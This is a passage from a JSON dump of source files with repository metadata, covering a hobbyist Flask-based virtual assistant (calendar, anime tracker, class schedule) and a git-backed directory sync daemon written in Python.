posterLink.split('anime/')\\n finalLink = self.imageBaseLink + linkParts[1].split('?')[0]\\n except:\\n posterLink = 'Not Available' \\n\\n queryResult.append({'name':name,'posterLink':finalLink})\\n\\n except:\\n return []\\n\\n\\n return queryResult\\n\\n\\n\\n\\n\\n\\n\\n \\n\\n \\n \\n\\nif __name__ == '__main__':\\n tracker = AnimeTracker()\\n # tracker.new('Mairimashita! Iruma-kun 2nd Season', 'meh')\\n # print(tracker.track())\\n # print(type(tracker.track()))\\n\\n # while(True):\\n query = 'bokutachi'\\n print(tracker.search(query))\\n\\n\\n # print(tracker.animeRepo)\\n\"\n },\n {\n \"alpha_fraction\": 0.5225015878677368,\n \"alphanum_fraction\": 0.5246143937110901,\n \"avg_line_length\": 30.013158798217773,\n \"blob_id\": \"4bdd949f8655c6e30ff5235f974a68a513de6a17\",\n \"content_id\": \"7a3533257b58e8625f329caef90de9d0133116bf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4733,\n \"license_type\": \"no_license\",\n \"max_line_length\": 103,\n \"num_lines\": 152,\n \"path\": \"/amadeus/scheduleManager/scheduleManager.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from googleapiclient.discovery import build\\nimport pickle\\nfrom datetime import datetime, timedelta\\n\\n\\nclass ScheduleManager:\\n\\n def __init__(self, token):\\n self.credentials = pickle.load(open(token, 'rb')) #Google credentials\\n self.service = build('calendar', 'v3', credentials = self.credentials)\\n\\n\\n def retrieveCalendar(self):\\n self.calendar = self.service.calendars().get(calendarId='primary').execute()\\n return self.calendar\\n\\n\\n def retrieveEvents(self):\\n self.events = []\\n page_token = None\\n\\n while True:\\n events = self.service.events().list(calendarId='primary', pageToken=page_token).execute()\\n for event in events['items']:\\n self.events.append(event)\\n page_token = events.get('nextPageToken')\\n if not page_token:\\n break\\n\\n\\n def retrieveSimpleEvents(self, criterion):\\n\\n if criterion == None:\\n criterion = 'today'\\n\\n\\n self.retrieveEvents()\\n\\n current = datetime.today()\\n today = datetime(current.year, current.month, current.day)\\n\\n nextday = datetime.now()+timedelta(1)\\n tomorrow = datetime(nextday.year, nextday.month, nextday.day)\\n\\n work = []\\n\\n def addToWork(event):\\n simplifiedEvent = {}\\n\\n try:\\n simplifiedEvent['id'] = event['id']\\n except:\\n pass\\n\\n try:\\n simplifiedEvent['summary'] = event['summary']\\n except:\\n pass\\n\\n try:\\n simplifiedEvent['description'] = event['description']\\n except:\\n pass\\n\\n try:\\n simplifiedEvent['start'] = event['start']\\n except:\\n pass\\n\\n try:\\n simplifiedEvent['end'] = event['end']\\n except:\\n pass\\n\\n return simplifiedEvent\\n\\n if criterion == 'today':\\n for event in self.events:\\n try:\\n eventTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\\n except KeyError:\\n try:\\n eventTime = datetime.strptime(event['start']['date'], '%Y-%m-%d')\\n except Exception as error:\\n print(error)\\n except Exception as error:\\n print(error)\\n\\n if(eventTime >= today and eventTime < tomorrow):\\n work.append(addToWork(event))\\n\\n elif criterion == 'upcoming':\\n for event in self.events:\\n try:\\n eventTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\\n except KeyError:\\n try:\\n eventTime = datetime.strptime(event['start']['date'], '%Y-%m-%d')\\n except Exception as error:\\n print(error)\\n except Exception as error:\\n print(error)\\n if(eventTime >= today):\\n work.append(addToWork(event))\\n\\n else:\\n for event in self.events:\\n work.append(addToWork(event))\\n\\n return work\\n\\n\\n def addEvent(self, summary, description, eventStartTime, eventEndTime, utcoffset):\\n\\n # parsedStartDateTime = eventStartTime.strftime('%Y-%m-%dT%H:%M:%S') + utcoffset\\n # parsedEndDateTime = eventEndTime.strftime('%Y-%m-%dT%H:%M:%S') + utcoffset\\n parsedStartDateTime = eventStartTime + utcoffset\\n parsedEndDateTime = eventEndTime + utcoffset\\n\\n newEvent = {\\n 'summary': summary,\\n 'description': description,\\n 'start': {\\n 'dateTime': parsedStartDateTime,\\n },\\n 'end': {\\n 'dateTime': parsedEndDateTime,\\n }, \\n }\\n\\n event = self.service.events().insert(calendarId='primary', body=newEvent).execute()\\n\\n\\n def deleteEvent(self, eventID):\\n self.service.events().delete(calendarId='primary', eventId=eventID).execute()\\n\\n\\nif __name__ == '__main__':\\n token = '../resources/token.pkl'\\n manager = ScheduleManager(token)\\n events = manager.retrieveSimpleEvents(criterion='all')\\n for event in events:\\n print(event)\\n print(len(events))\\n\\n # current = datetime.today()\\n # today = datetime(current.year, current.month, current.day)\\n\\n # nextday = datetime.now()+timedelta(1)\\n # tomorrow = datetime(nextday.year, nextday.month, nextday.day)\\n\\n # manager.addEvent('test1', 'this is a test', current, tomorrow, '+05:30')\\n\\n\\n\\n \\n \\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5275519490242004,\n \"alphanum_fraction\": 0.5338753461837769,\n \"avg_line_length\": 32.32307815551758,\n \"blob_id\": \"13969045f4d096d1d95f0f46e6312543c5bd84d1\",\n \"content_id\": \"bf41b609701615eb095020686f64baa20b118c56\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2216,\n \"license_type\": \"no_license\",\n \"max_line_length\": 109,\n \"num_lines\": 65,\n \"path\": \"/kurisu/Notification Manager/scheduleManager/scheduleManager.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nfrom datetime import datetime\\nimport time\\n\\ndef getEvents(URL):\\n print('Getting events!')\\n BASE_URL = URL + 'schedules'\\n response = requests.post(BASE_URL, data = {'criterion':'today'})\\n if response.status_code == 200:\\n return response.json()['events']\\n\\ndef ScheduleManager(toast, URL):\\n\\n REFRESH_TIME = 5 * 60 # min * sec refresh time in seconds\\n\\n checkedTime = datetime.now()\\n events = getEvents(URL)\\n\\n print('Schedule Manager ready!')\\n\\n while True:\\n currentTime = datetime.now()\\n\\n if currentTime.hour == 0 and currentTime.min <= 6:\\n events = getEvents(URL)\\n\\n timePassed = currentTime - checkedTime\\n if timePassed.seconds >= REFRESH_TIME:\\n events = getEvents(URL)\\n checkedTime = datetime.now()\\n\\n notifiedEvents = []\\n notificationMessage = 'Event reminders : \\\\n'\\n newNotifications = False\\n\\n if events == None:\\n events = []\\n\\n for event in events:\\n try:\\n eventStartTime = datetime.strptime(event['start']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\\n eventEndTime = datetime.strptime(event['end']['dateTime'][:-6], '%Y-%m-%dT%H:%M:%S')\\n\\n except KeyError:\\n try:\\n eventStartTime = datetime.strptime(event['start']['date'], '%Y-%m-%d') \\n eventEndTime = datetime.strptime(event['end']['date'], '%Y-%m-%d')\\n except Exception as error:\\n print(error)\\n except Exception as error:\\n print(error)\\n continue\\n \\n if datetime.now() >= eventStartTime and datetime.now() <= eventEndTime:\\n if event['summary'] not in notifiedEvents:\\n newNotifications = True\\n notifiedEvents.append(event['summary'])\\n notificationMessage += '• ' + event['summary'] + '\\\\n'\\n\\n \\n if newNotifications:\\n toast.show_toast(title = 'Kurisu', msg = notificationMessage, duration = 10)\\n newNotifications = False\\n\\n time.sleep(59)\\n\\n\\n\\n\\n\\n\\n\\n \\n \\n\\n\\n\\n \\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6395701169967651,\n \"alphanum_fraction\": 0.6515288949012756,\n \"avg_line_length\": 30.150943756103516,\n \"blob_id\": \"509e88ca514a77c0f68bfb5bf05c78c66f073c40\",\n \"content_id\": \"b27fec8c48236f0c85fa51dcc2629539876fd6f8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6606,\n \"license_type\": \"no_license\",\n \"max_line_length\": 192,\n \"num_lines\": 212,\n \"path\": \"/amadeus/amadeus.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from flask import Flask, request\\nfrom flask_restful import Api, Resource, reqparse, abort\\nfrom flask_cors import CORS\\n\\n\\n\\n#Setup\\n\\napp = Flask(__name__)\\nCORS(app)\\napi = Api(app)\\n\\n\\n#Modules\\n\\n## TO REMOVE ANY MODULE, COMMENT/REMOVE THE CORRESPONDING SECTION (eg. To remove the anime tracker module, comment out or delete eveything between the '# Anime Tracker' and '# Class Schedule')\\n\\n\\n# Schedule Manager\\n\\nfrom scheduleManager.scheduleManager import ScheduleManager\\nGOOGLE_AUTH_TOKEN = 'resources/token.pkl'\\nschedule_manager = ScheduleManager(GOOGLE_AUTH_TOKEN)\\n\\n\\nscheduleManagerArgs = reqparse.RequestParser()\\nscheduleManagerArgs.add_argument('criterion', type = str, help = 'Crtierion not sent')\\nscheduleManagerArgs.add_argument('summary', type = str, help = 'summary not sent')\\nscheduleManagerArgs.add_argument('description', type = str, help = 'description not sent')\\nscheduleManagerArgs.add_argument('eventStartTime', type = str, help = 'eventStartTime not sent')\\nscheduleManagerArgs.add_argument('eventEndTime', type = str, help = 'eventEndTime not sent')\\nscheduleManagerArgs.add_argument('utcoffset', type = str, help = 'utcoffset not sent')\\nscheduleManagerArgs.add_argument('id', type = str, help = 'Event id not sent')\\n\\n\\nclass ScheduleManagerAPI(Resource):\\n\\n #Commented api requests are working but not implemented. To be implemented once an authorization system has been setup\\n\\n def get(self): #Receieve calendar\\n return {'calendar': schedule_manager.retrieveCalendar()}, 200\\n \\n\\n def post(self): #Recieve events\\n args = scheduleManagerArgs.parse_args()\\n listOfEvents = schedule_manager.retrieveSimpleEvents(criterion = args.get('criterion'))\\n return {'events' : listOfEvents}, 200\\n\\n def options(self):\\n print('Options handled!')\\n return 200\\n\\n def put(self):\\n args = scheduleManagerArgs.parse_args()\\n\\n if args.get('summary') == None or args.get('description') == None or args.get('eventStartTime') == None or args.get('eventEndTime') == None or args.get('utcoffset') == None:\\n abort(422, 'Not enough data!')\\n\\n try:\\n schedule_manager.addEvent(args.get('summary'), args.get('description'), args.get('eventStartTime'), args.get('eventEndTime'), args.get('utcoffset'))\\n except Exception as e:\\n print(e)\\n abort(409, message = 'Error in given data!')\\n \\n return 200\\n\\n def delete(self):\\n args = scheduleManagerArgs.parse_args()\\n\\n if args.get('id') == None:\\n abort(422, 'Event id not provided!')\\n\\n try:\\n schedule_manager.deleteEvent(args.get('id'))\\n except:\\n abort(409, message = 'Error in given data!') \\n\\n return 200\\n \\n\\n \\n\\napi.add_resource(ScheduleManagerAPI, '/schedules')\\n\\n\\n\\n# Anime Tracker\\n\\nfrom animeTracker.animeTracker import AnimeTracker, Anime\\nANIME_DATABASE = 'resources/animeRepo.pkl'\\nanime_tracker = AnimeTracker(ANIME_DATABASE)\\n\\n\\nanimeTrackerArgs = reqparse.RequestParser()\\nanimeTrackerArgs.add_argument('id', type = str, help = 'No ID sent!')\\nanimeTrackerArgs.add_argument('name', type = str, help = 'No name sent!')\\nanimeTrackerArgs.add_argument('posterLink', type = str, help = 'No poster link sent!')\\nanimeTrackerArgs.add_argument('searchQuery', type = str, help = 'Search query not sent!')\\n\\n\\n\\nclass AnimeTrackerAPI(Resource):\\n\\n def get(self): #Recently aired episodes\\n try:\\n if request.headers.get('criterion') == 'recentAired':\\n return {'recentAired': anime_tracker.track()}, 200\\n else:\\n return {'tracking': anime_tracker.allTracking()}, 200\\n except Exception as e:\\n print(e)\\n abort(404, message = 'Error retrieving recently aired! Contact developer!')\\n\\n def post(self): #New additions\\n args = animeTrackerArgs.parse_args()\\n \\n if args.get('name') == None or args.get('posterLink') == None or args.get('id') == None:\\n abort(404, 'Not enough information! Please send id, name and posterlink!')\\n\\n try:\\n anime_tracker.new(args.get('id'), args.get('name'), args.get('posterLink'))\\n except Exception as e:\\n print(e)\\n abort(409, message = 'Error in given data!')\\n\\n return 200\\n\\n def delete(self): #delete tracking anime\\n args = animeTrackerArgs.parse_args()\\n \\n if args.get('id') == None:\\n abort(404, 'Not enough information! Please send id!')\\n \\n try:\\n anime_tracker.remove(args.get('id'))\\n except Exception as e:\\n print(e)\\n abort(409, message = 'Error in given data!')\\n\\n return 200\\n\\n def put(self):\\n args = animeTrackerArgs.parse_args()\\n \\n if args.get('searchQuery') == None:\\n abort(404, 'Not enough information! Please send search query!')\\n \\n try:\\n queryResult = anime_tracker.search(args.get('searchQuery'))\\n except Exception as e:\\n print(e)\\n abort(409, message = 'Error in given data!')\\n\\n return {'queryResult':queryResult}, 200\\n\\n\\n\\napi.add_resource(AnimeTrackerAPI, '/animetracker')\\n\\n \\n\\n\\n# Class Schedule\\n\\nfrom classSchedule.classSchedule import ClassSchedule\\nSCHEDULE_DATABASE = 'resources/schedule.pkl'\\nclass_schedule = ClassSchedule(SCHEDULE_DATABASE)\\n\\n\\nclassScheduleArgs = reqparse.RequestParser() \\nclassScheduleArgs.add_argument('day', type = str, help = 'Day not sent!')\\nclassScheduleArgs.add_argument('subject', type = str, help = 'Subject not sent!')\\nclassScheduleArgs.add_argument('startTime', type = str, help = 'Start time not sent!')\\nclassScheduleArgs.add_argument('endTime', type = str, help = 'End time not sent!')\\nclassScheduleArgs.add_argument('link', type = str, help = 'Link not sent!')\\n\\n\\nclass ClassScheduleAPI(Resource):\\n def get(self):\\n return class_schedule.retrieveTimetable(), 200\\n\\n def post(self):\\n args = classScheduleArgs.parse_args()\\n class_schedule.addClass(args['day'], args['subject'], args['startTime'], args['endTime'], args['link'])\\n return 200\\n\\n def put(self):\\n args = classScheduleArgs.parse_args()\\n return { args['day'] : class_schedule.retrieveSchedule(args['day'])}, 200\\n\\n def delete(self):\\n args = classScheduleArgs.parse_args()\\n class_schedule.deleteClass(args['day'], args['subject'], args['startTime'])\\n return 200\\n\\n\\n\\napi.add_resource(ClassScheduleAPI, '/classSchedules')\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nif __name__ == '__main__':\\n app.run(debug = True, host = '0.0.0.0')\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6085663437843323,\n \"alphanum_fraction\": 0.6085663437843323,\n \"avg_line_length\": 35.5217399597168,\n \"blob_id\": \"a95bbf70ce43e651a3f3913ee855af2ca4af3d51\",\n \"content_id\": \"2ce80b796addd6acc00716ce12714954616c475e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1681,\n \"license_type\": \"no_license\",\n \"max_line_length\": 145,\n \"num_lines\": 46,\n \"path\": \"/amadeus/classSchedule/classSchedule.py\",\n \"repo_name\": \"sndev28/Kurisu-Virtual-Assistant\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pickle\\nfrom datetime import time\\n\\n\\nclass ClassSchedule:\\n def __init__(self,SCHEDULE_DATABASE):\\n self.SCHEDULE_DATABASE = SCHEDULE_DATABASE\\n self.timetable = pickle.load(open(SCHEDULE_DATABASE, 'rb'))\\n\\n\\n def addClass(self, day, subject, startTime, endTime, link):\\n startHour, startMinute = startTime.split(':')\\n startTimeObject = time(hour = int(startHour), minute = int(startMinute))\\n flag = False\\n for index, item in enumerate(self.timetable[day]):\\n itemStartHour, itemStartMinute = item['startTime'].split(':')\\n itemTimeObject = time(hour = int(itemStartHour), minute = int(itemStartMinute))\\n\\n if itemTimeObject > startTimeObject:\\n self.timetable[day].insert(index, {'day': day, 'subject' : subject, 'startTime' : startTime, 'endTime' : endTime, 'link' : link})\\n flag = True\\n break\\n\\n if flag == False:\\n self.timetable[day].append({'day': day, 'subject' : subject, 'startTime' : startTime, 'endTime' : endTime, 'link' : link})\\n\\n \\n pickle.dump(self.timetable, open(self.SCHEDULE_DATABASE, 'wb'))\\n\\n\\n def deleteClass(self, day, subject, startTime):\\n flag = False\\n for item in self.timetable[day]:\\n if item['subject'] == subject and item['startTime'] == startTime:\\n self.timetable[day].remove(item)\\n flag = True\\n\\n if flag == True:\\n pickle.dump(self.timetable, open(self.SCHEDULE_DATABASE, 'wb'))\\n \\n\\n def retrieveSchedule(self, day):\\n return self.timetable[day]\\n\\n def retrieveTimetable(self):\\n return self.timetable\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":9,"string":"9"}}},{"rowIdx":2984068,"cells":{"repo_name":{"kind":"string","value":"konker/syncilainen"},"repo_url":{"kind":"string","value":"https://github.com/konker/syncilainen"},"snapshot_id":{"kind":"string","value":"f35513591171851758aedaf84c7f4a9b35d130b1"},"revision_id":{"kind":"string","value":"04b74608852ad884f01f3e147abf2275bb44b51c"},"directory_id":{"kind":"string","value":"dcc014d770d50f74b5f40c8237990ef27d64a9cb"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-05T23:16:36.727493","string":"2020-04-05T23:16:36.727493"},"revision_date":{"kind":"timestamp","value":"2012-05-29T11:43:18","string":"2012-05-29T11:43:18"},"committer_date":{"kind":"timestamp","value":"2012-05-29T11:43:18","string":"2012-05-29T11:43:18"},"github_id":{"kind":"number","value":2871128,"string":"2,871,128"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7274436354637146,"alphanum_fraction":0.7293233275413513,"avg_line_length":20.239999771118164,"blob_id":"7cc4e184887c68fec6eedfab2aca855b091a8d67","content_id":"decbb816da54b4d8172daf9fb859714ed502ce94","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":532,"license_type":"permissive","max_line_length":60,"num_lines":25,"path":"/watcher/__init__.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# watcher\n# \n# Dynamically loads a EventWatcher interface implementation\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nclass UnknownWatcherException(Exception): pass\n\ntry:\n from impl.fsevent import EventWatcherImpl, EventImpl\nexcept ImportError:\n try:\n from impl.inotify import EventWatcherImpl, EventImpl\n except ImportError:\n raise UnknownWatcherException()\n\n\ndef Event(event):\n return EventImpl(event)\n\ndef EventWatcher(action):\n return EventWatcherImpl(action.watch_directory, action)\n\n"},{"alpha_fraction":0.619313657283783,"alphanum_fraction":0.6256983280181885,"avg_line_length":29.439023971557617,"blob_id":"b7a381bd3400fa98b6d2ee56524710c79e101217","content_id":"9a20a08d7e1819df9adf0b10426a46307fd732e3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1253,"license_type":"permissive","max_line_length":116,"num_lines":41,"path":"/notifier/impl/growlnotify.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# watcher.impl.growlnotify\n# \n# growlnotify implementation of the Notifier interface (Mac OS X)\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport logging\nimport subprocess\nfrom shell.cmd import exec_cmd, exec_cmd_out\n\n# try to locate the growlnotify command line tool, or raise ImportError\nGROWLNOTIFY = exec_cmd_out(\"which growlnotify\").strip()\nif GROWLNOTIFY == '':\n raise ImportError()\n\nNORMAL_LEVEL_IMPL = 0\nERROR_LEVEL_IMPL = 1\n\nclass NotifierImpl(object):\n def __init__(self, title, disable_after_n_errors=-1):\n self.title = title\n self.disable_after_n_errors = disable_after_n_errors\n self._consecutive_errors = 0\n logging.info(\"Using Notifier: %s\" % GROWLNOTIFY)\n\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\n if message == \"\":\n return\n\n if level == ERROR_LEVEL_IMPL:\n self._consecutive_errors = self._consecutive_errors + 1\n else:\n self._consecutive_errors = 0\n\n if self.disable_after_n_errors > 0:\n if self._consecutive_errors < self.disable_after_n_errors:\n cmd = \"%s --message \\\"%s\\\" --priority %d --title \\\"%s\\\"\" % (GROWLNOTIFY, message, level, self.title)\n exec_cmd(cmd)\n \n"},{"alpha_fraction":0.5329418182373047,"alphanum_fraction":0.538998007774353,"avg_line_length":30.131427764892578,"blob_id":"9a9bb1670934113bda14af22864eeee65ded95b8","content_id":"cd33542d89bc12216e06d68c3265c746ed494371","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5449,"license_type":"permissive","max_line_length":98,"num_lines":175,"path":"/vcs/impl/git.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# vcs.impl.git\n#\n# Wrapper around the git command\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport logging\nimport os.path\nimport shutil\nimport time\nimport subprocess\nfrom shell.cmd import exec_cmd, exec_cmd_out\nfrom vcs import OK, NOT_OK\n\n# try to locate the git command line tool, or raise ImportError\nGIT = exec_cmd_out(\"which git\").strip()\nif GIT == '':\n raise ImportError()\n\n\nclass VCSImpl(object):\n def __init__(self, repo_directory):\n self.repo_directory = repo_directory\n self.ignore_path = os.path.join(repo_directory, '.git')\n logging.info(\"Using VCS: git\")\n\n def status(self):\n cmd = \"%s status --porcelain -uall\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n return self._parse_status(stdout, stderr)\n\n def add(self, filename='.'):\n cmd = \"%s add %s\" % (GIT, filename)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def commit(self, message):\n cmd = \"%s commit -m \\\"%s\\\"\" % (GIT, message)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def commit_all(self, message):\n cmd = \"%s commit --all -m \\\"%s\\\"\" % (GIT, message)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def fetch(self):\n cmd = \"%s fetch\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def merge(self, remote='origin', branch='master'):\n cmd = \"%s merge %s/%s\" % (GIT, remote, branch)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if ('CONFLICT' in stdout):\n return NOT_OK, stdout\n\n return OK,stdout\n\n def get_unmerged(self):\n cmd = \"%s ls-files -u\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n return self._parse_ls_files(stdout, stderr)\n\n def save_theirs(self, unmerged, id):\n # checkout \"theirs\" and move to a temporary file\n cmd = \"%s checkout --theirs %s\" % (GIT, unmerged[2][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n src = os.path.join(self.repo_directory, unmerged[2][3])\n dst = os.path.join(self.repo_directory, \"%s.%s.%s\" % (id, unmerged[2][1], unmerged[2][3]))\n logging.debug(\"move: %s -> %s\" % (src, dst))\n shutil.move(src, dst)\n \n return OK,\"\"\n\n def force_ours(self, unmerged):\n # checkout \"ours\"\n cmd = \"%s checkout --ours %s\" % (GIT, unmerged[1][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n return OK,stdout\n\n def pull(self, remote='origin', branch='master'):\n cmd = \"%s pull --ff-only %s %s\" % (GIT, remote, branch)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if ('error' in stdout):\n return NOT_OK,stdout\n\n return OK,stdout\n\n def push(self, remote='origin', branch='master'):\n cmd = \"%s push --porcelain %s %s\" % (GIT, remote, branch)\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if ('[rejected]' in stdout or 'fatal' in stderr):\n return NOT_OK,stdout\n\n return OK,stdout\n\n def _parse_status(self, stdout, stderr):\n ret = []\n for f in stdout.split(\"\\n\"):\n if not f == '':\n ret.append(tuple(f.split()))\n return ret\n\n def _parse_ls_files(self, stdout, stderr):\n ret = []\n for f in stdout.split(\"\\n\"):\n if not f == '':\n ret.append(tuple(f.split()))\n\n # split into groups of 3\n return [ret[i:i+3] for i in range(0, len(ret), 3)]\n\n '''\n def handle_conflict(self):\n print(\"CONFLICT!!!:\")\n # fetch state from remote\n cmd = \"%s fetch\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n # check for unmerged files\n cmd = \"%s ls-files -u\" % GIT\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n ls_files = self._parse_ls_files(stdout, stderr)\n print(ls_files)\n if len(ls_files) >= 3 and len(ls_files[2]) >= 4:\n # copy 3 (\"their's\") to a temporary file\n cmd = \"%s show %s > %s.%s\" % (GIT, ls_files[2][1], ls_files[2][1], ls_files[2][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n # checkout \"our's\"\n cmd = \"%s checkout --ours %s\" % (GIT, ls_files[2][3])\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\n if (stderr != ''):\n return NOT_OK,stderr\n\n # add and commit \"our's\"\n code,message = self.add(ls_files[2][3])\n if (code != OK):\n return code,message\n\n # push\n code,message = self.push()\n if (code != OK):\n return code,message\n\n return OK,\"Conflict found. File renamed to: %s.%s\" % (ls_files[2][1], ls_files[2][3])\n\n return OK,\"No conflict detected\"\n '''\n\n"},{"alpha_fraction":0.5821674466133118,"alphanum_fraction":0.5838379859924316,"avg_line_length":25.893259048461914,"blob_id":"7ce383cd62ed7478aae84e45885a0a2bed1d3a93","content_id":"3b26e052e69b20b92591c7c4b3469017dfb8584f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4789,"license_type":"permissive","max_line_length":153,"num_lines":178,"path":"/syncilainen.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# syncilainen\n# \n# Monitor a pre-configured directory for changes and then synch\n# automatically to a pre-configured version control respository.\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport pathhack\n\nimport sys\nimport time\nimport signal\nimport os.path\nimport logging\nimport optparse\nimport threading\n\nfrom lib import json\nfrom watcher import EventWatcher, Event\nfrom notifier import Notifier\nfrom actions.vcs_action import Action\n\nDEFAULT_CONF_FILE='syncilainen.json'\nDEFAULT_LOG_FILE=None\n\n\nclass SyncilainenException(Exception): pass\n\nclass Syncilainen(object):\n def __init__(self, conf_file=DEFAULT_CONF_FILE):\n self.conf_file = conf_file\n self.watchers = []\n self.load_config()\n\n def start(self):\n for w in self.watchers:\n logging.info(\"Syncilainen.start: %s\" % w)\n w.start()\n\n def stop(self):\n for w in self.watchers:\n logging.info(\"Syncilainen.stop: %s\" % w)\n w.stop()\n self.watchers = []\n\n def reload_config(self):\n self.stop()\n self.load_config()\n self.start()\n\n def load_config(self):\n # read the configuration JSON file\n logging.info(\"Reading config: %s\" % self.conf_file)\n config = None\n try:\n fp = open(self.conf_file)\n config = json.load(fp)\n except:\n logging.error(sys.exc_info()[1])\n exit(1)\n\n if config:\n # start\n for d in config['watch_directories']:\n # XXX: should str() be used here?\n watch_directory = str(os.path.abspath(os.path.expanduser(d['path'])))\n logging.info(\"watching: %s\", d['path'])\n\n action = Action(config['id'], watch_directory)\n if d['notifier']['enabled']:\n action.notifier = Notifier('Syncilainen', d['notifier']['disable_after_n_errors'])\n self.watchers.append(EventWatcher(action))\n else:\n raise SyncilainenException(\"Could not load config file\")\n\n\ndef read_options():\n # read in command line options\n parser = optparse.OptionParser()\n parser.add_option('-c', '--conf-file', dest='conf_file', default=DEFAULT_CONF_FILE, help=\"Config file location (defaults to %s)\" % DEFAULT_CONF_FILE)\n parser.add_option('--log', dest='log_file', default=DEFAULT_LOG_FILE, help=\"where to send log messages (defaults to %s)\" % DEFAULT_LOG_FILE)\n parser.add_option('--debug', dest='debug', action='store_true', default=False, help='Debug mode')\n \n options, args = parser.parse_args()\n if len(args) != 0:\n parser.error(\"Unknown arguments %s\\n\" % args)\n print(options)\n return options\n\n\ndef setup_logging(log_file=None, debug=False):\n # set up logging\n if log_file:\n filename = log_file\n stream = None\n else:\n filename = None\n stream = sys.stderr\n\n datefmt = '%Y-%m-%d %H:%M:%S'\n\n if debug:\n level=logging.DEBUG\n format='%(asctime)s [%(threadName)s] %(message)s'\n else:\n level=logging.INFO\n format='%(asctime)s %(message)s'\n\n if stream:\n logging.basicConfig(level=level,\n format=format,\n stream=stream,\n datefmt=datefmt)\n else:\n logging.basicConfig(level=level,\n format=format,\n filename=filename,\n datefmt=datefmt)\n'''\n def pull_timer(secs):\n action.callback(Event({}))\n if secs > 0:\n t = threading.Timer(secs, pull_timer, [secs])\n t.start()\n\n # start pull timer\n #pull_timer(d['auto_pull_secs'])\n'''\n\ndef main():\n syncilainen = None\n\n def reload(signum, stack):\n if syncilainen:\n syncilainen.reload_config()\n\n def quit(signum, stack):\n if syncilainen:\n syncilainen.stop()\n exit(0)\n\n # listen for SIGHUP or SIGUSR1 and reload config\n signal.signal(signal.SIGHUP, reload)\n signal.signal(signal.SIGUSR1, reload)\n\n # listen for SIGINT and quit gracefully\n signal.signal(signal.SIGINT, quit)\n\n # boilerplate\n options = read_options()\n setup_logging(options.log_file, options.debug)\n \n logging.info(\"PID: %s\" % os.getpid())\n \n # start the syncilainen daemon\n syncilainen = Syncilainen()\n syncilainen.start()\n\n # wait for signals\n while True:\n 